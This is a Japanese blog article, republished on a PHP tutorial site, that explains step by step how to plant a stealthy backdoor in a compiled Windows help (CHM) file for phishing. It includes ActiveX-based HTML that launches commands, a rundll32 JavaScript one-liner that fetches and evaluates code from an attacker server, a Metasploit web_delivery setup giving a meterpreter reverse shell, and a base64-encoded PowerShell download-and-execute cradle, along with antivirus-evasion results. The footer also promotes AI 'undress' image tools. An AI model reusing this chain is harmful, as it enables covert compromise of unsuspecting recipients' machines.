目次
0x00 はじめに
0x01 CHM の紹介
0x02 CHM の作成
0x03 CHM 実行コマンド
0x04 ポップアップ ボックスの削除
1. CHM と JSBackdoor を結合します
2. meterpreter セッションの取得
3. 強制終了されましたか?
0x05 エクスプロイトシナリオ
0x06 防御
0x07 概要
0x08 リファレンス
この記事はもともと evi1cg によって作成され、最初に Wuyundrops で公開されました。
ホームページ ウェブフロントエンド htmlチュートリアル 高度な組み合わせスキルで「完璧な」バンドルを作成する backdoor_html/css_WEB-ITnose

高度な組み合わせスキルで「完璧な」バンドルを作成する backdoor_html/css_WEB-ITnose

Jun 21, 2016 am 08:52 AM

0x00 はじめに

私は以前、クライアント側のフィッシングに関する記事「効果的なフィッシングのための Powershell クライアントの使用」を書きました。さまざまなクライアントを使用してテストする過程で、私は個人的にそれを行いました。 CHM ファイルが最も有用であることがわかりましたが、その欠点は、ブラック ボックスがポップアップし、攻撃者に気づかれてしまうことです。では、どうすれば彼がブラックボックスをプレイするのを止めることができるでしょうか?それがこの記事の内容です~

0x01 CHM の紹介

CHM をバックドアとして使用する方法を紹介する前に、まず CMH とは何かを知る必要があります。

CHM (Compiled Help Manual) は「コンパイルされたヘルプ ファイル」を意味します。これは Microsoft の新世代ヘルプ ファイル形式であり、ソース テキストとして HTML を使用し、ヘルプ コンテンツをデータベースのような形式でコンパイルおよび保存します。 CHM は Javascript、VBscript、ActiveX、Java Applet、Flash、一般的なグラフィック ファイル (GIF、JPEG、PNG)、オーディオおよびビデオ ファイル (MID、WAV、AVI) などをサポートしており、URL を介してインターネットに接続できます。その使いやすさと多様な形式から、電子書籍フォーマットとしても採用されています。

0x02 CHM の作成

CHM を作成するにはさまざまな方法があります。使えるツールはたくさんあるので、ここでは詳しく紹介しません。このテストでは EasyCHM を使用して CHM ファイルを作成しました。これは非常に簡単に使用できます。

次のように、任意のファイル内容を含む新しいディレクトリを作成します:

EasyCHM を開き、[新規]->[参照] をクリックします。このディレクトリを選択します。デフォルトのファイルタイプ:

「OK」をクリックして、プレビューされた CHM ファイルを表示します:

「コンパイル」を選択して CHM ファイルにコンパイルします。

0x03 CHM 実行コマンド

[email protected]

が CHM 経由で電卓を実行するデモを Twitter に送信しました:

使用率コードは次のとおりです:

#!html<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
ログイン後にコピー

上記のコードを HTML に書き込み、コンパイルのためにプロジェクト ディレクトリに配置し、CHM ファイルを生成し、このファイルを実行すると、計算機がポップアップ表示されます:

0x04 ポップアップ ボックスの削除

nishang Out-CHM をテストした学生は、生成された CHM ファイルを実行すると、明らかなポップアップ ボックスが表示されることがわかります。次のように:

ある夜、私は突然ブレインストーミングを行い、彼がポップアップ ボックスを表示しないようにする良い方法を考えました。それは、JavaScript バックドアを使用することです。テスト後、ボックスをポップアップすることなく、meterpreter セッションを取得することができました。このテストでは、変更した Python バージョンの JSRat.ps1 を使用しました。アドレスは https://github.com/Rider/MyJSRat です。使用方法の詳細については、Readme を参照してください。

以下は完全なテスト プロセスです:

1. CHM と JSBackdoor を結合します

対話モードで JSRat サーバーを使用します:

#!bashpython MyJSRat.py -i 192.168.1.101 -p 8080
ログイン後にコピー

http://192.168.1.101:8080/wtf にアクセスし、次のように攻撃コードを取得します。

#!bashrundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
ログイン後にコピー

多くのテストの後、上記のコマンドは chm とその HTML に正常に書き込まれました。コードは次のとおりです:

#!html<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>This is a demo ! <br><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
ログイン後にコピー

コンパイルして実行すると、JS インタラクティブ シェルを正常に取得できます:

直接実行するとブラック ボックスが表示されます。 cmd /c コマンドを実行すると、黒いフレームが表示されるのを回避できます。 run を実行した後、whoami > e:1.txt と入力し、read を使用してエコーを取得します。

2. meterpreter セッションの取得

このテストでの meterpreter セッションの取得方法は、クライアント JS 対話型シェルを取得した後、powershell コマンドを実行して直接取得します。 powershell コマンドが自動的に実行されます。具体的な操作は次のとおりです。

MSF web_delivery を有効にする:

#!bash ~  msfconsole -Lqmsf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2target => 2msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(web_delivery) > set lhost 192.168.1.101lhost => 192.168.1.101msf exploit(web_delivery) > set lport 6666lport => 6666msf exploit(web_delivery) > set SRVPORT 8081SRVPORT => 8081msf exploit(web_delivery) > set uripath /uripath => /msf exploit(web_delivery) > exploit[*] Exploit running as background job.msf exploit(web_delivery) >[*] Started reverse TCP handler on 192.168.1.101:6666[*] Using URL: http://0.0.0.0:8081/[*] Local IP: http://192.168.1.101:8081/[*] Server started.[*] Run the following command on the target machine:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
ログイン後にコピー

powershell を使用するクライアントは、次のコマンドを実行してメータープリター セッションを取得できます:

#!bashpowershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
ログイン後にコピー

特殊文字があるため、上記のコードを Base64 形式にエンコードし、次のコードを power.txt に保存できます

#!bash$n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
ログイン後にコピー

次のコマンドを実行します:

#!bashcat power.txt | iconv --to-code UTF-16LE |base64
ログイン後にコピー

最後に、実行された powershell コマンドは次のとおりです:

#!bashpowershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==
ログイン後にコピー

実行コマンド モードを使用して、メータープリター セッションを直接取得します:

#!bashpython MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="
ログイン後にコピー

テスト プロセス中、CHM の実行からメータープリターの取得までクライアント側に明らかな例外はなく、プロセス全体でブラック ボックスは表示されず、以下に示すように meterpreter セッションが取得されます。

3. 強制終了されましたか?

多くの人は、自分が殺されるのかと疑問に思うかもしれません。virscan の殺害結果は次のとおりです:

http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba

0x05 エクスプロイトシナリオ

画像の説明 (クリックできるかどうか推測させてください):

注: いくつかのエクスプロイトを見つけたものは何でもツールを削除してファイル名を変更しましたが、元の作成者が共有したツールに問題があるという意味ではありません。

0x06 防御

まだ防御姿勢を見つけていません。知っている友達が共有できます。最善の方法は、個人のセキュリティ意識を高めることです。この種のファイルに注意を払い、必要がない場合は、それらを仮想マシンに置くことができます。 procexp.exe を使用すると、バックドアを備えた chm ファイルが新しいプロセスを開くことがわかります:

0x07 概要

このテストは、いくつかの既知の攻撃方法を組み合わせたもので、その結果、バンドルされたバックドアがより隠蔽され、ほぼ「完璧」なものになります。唯一の欠点は、次の場合に短いエラーが発生することです。ファイルが開かれるのが遅れます。時には、小さな抜け穴が組み合わさって大きな害をもたらすこともあれば、小さなトリックが組み合わされて大きな殺人者になることもあります。この姿勢は、友人がそれを避けることを期待して、分かち合いの精神で導入されています。

0x08 リファレンス

  1. https://twitter.com/ithurricanept/status/534993743196090368
  2. https://github.com/samratashok/nishang/blob/ master/Client/Out-CHM.ps1
  3. http://drops.wooyun.org/tips/11764
  4. https://github.com/samratashok/nishang

この記事はもともと evi1cg によって作成され、最初に Wuyundrops で公開されました。

と明記してください。
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

公式アカウントのキャッシュの更新の難しさ:バージョンの更新後のユーザーエクスペリエンスに影響を与える古いキャッシュを回避する方法は? 公式アカウントのキャッシュの更新の難しさ:バージョンの更新後のユーザーエクスペリエンスに影響を与える古いキャッシュを回避する方法は? Mar 04, 2025 pm 12:32 PM

公式アカウントのWebページはキャッシュを更新します。これはシンプルでシンプルで、ポットを飲むのに十分な複雑です。あなたは公式のアカウントの記事を更新するために一生懸命働きましたが、ユーザーはまだ古いバージョンを開くことができますか?この記事では、この背後にあるtwist余曲折と、この問題を優雅に解決する方法を見てみましょう。それを読んだ後、さまざまなキャッシュの問題に簡単に対処でき、ユーザーが常に新鮮なコンテンツを体験できるようになります。最初に基本について話しましょう。それを率直に言うと、アクセス速度を向上させるために、ブラウザまたはサーバーはいくつかの静的リソース(写真、CSS、JSなど)やページコンテンツを保存します。次回アクセスするときは、もう一度ダウンロードすることなく、キャッシュから直接検索できます。自然に高速です。しかし、このことは両刃の剣でもあります。新しいバージョンはオンラインです、

HTML5フォーム検証属性を使用してユーザー入力を検証するにはどうすればよいですか? HTML5フォーム検証属性を使用してユーザー入力を検証するにはどうすればよいですか? Mar 17, 2025 pm 12:27 PM

この記事では、ブラウザのユーザー入力を直接検証するために、必要、パターン、MIN、MAX、および長さの制限などのHTML5フォーム検証属性を使用して説明します。

HTML5のクロスブラウザー互換性のベストプラクティスは何ですか? HTML5のクロスブラウザー互換性のベストプラクティスは何ですか? Mar 17, 2025 pm 12:20 PM

記事では、HTML5クロスブラウザーの互換性を確保するためのベストプラクティスについて説明し、機能検出、プログレッシブエンハンスメント、およびテスト方法に焦点を当てています。

WebページのPNG画像にストローク効果を効率的に追加する方法は? WebページのPNG画像にストローク効果を効率的に追加する方法は? Mar 04, 2025 pm 02:39 PM

この記事では、CSSを使用したWebページへの効率的なPNG境界追加を示しています。 CSSはJavaScriptやライブラリと比較して優れたパフォーマンスを提供し、微妙または顕著な効果のために境界幅、スタイル、色を調整する方法を詳述していると主張しています

&lt; datalist&gt;の目的は何ですか 要素? &lt; datalist&gt;の目的は何ですか 要素? Mar 21, 2025 pm 12:33 PM

この記事では、HTML&lt; Datalist&GT;について説明します。オートコンプリートの提案を提供し、ユーザーエクスペリエンスの改善、エラーの削減によりフォームを強化する要素。

&lt; Progress&gt;の目的は何ですか 要素? &lt; Progress&gt;の目的は何ですか 要素? Mar 21, 2025 pm 12:34 PM

この記事では、HTML&lt; Progress&gt;について説明します。要素、その目的、スタイリング、および&lt; meter&gt;との違い要素。主な焦点は、&lt; Progress&gt;を使用することです。タスクの完了と&lt; Meter&gt; statiの場合

HTML5&lt; time&gt;を使用するにはどうすればよいですか 日付と時刻を意味的に表す要素? HTML5&lt; time&gt;を使用するにはどうすればよいですか 日付と時刻を意味的に表す要素? Mar 12, 2025 pm 04:05 PM

この記事では、html5&lt; time&gt;について説明します。セマンティックデート/時刻表現の要素。 人間の読み取り可能なテキストとともに、マシンの読みやすさ(ISO 8601形式)のDateTime属性の重要性を強調し、Accessibilitを増やします

&lt; meter&gt;の目的は何ですか 要素? &lt; meter&gt;の目的は何ですか 要素? Mar 21, 2025 pm 12:35 PM

この記事では、html&lt; meter&gt;について説明します。要素は、範囲内でスカラーまたは分数値を表示するために使用され、Web開発におけるその一般的なアプリケーション。それは差別化&lt; Meter&gt; &lt; Progress&gt;およびex

See all articles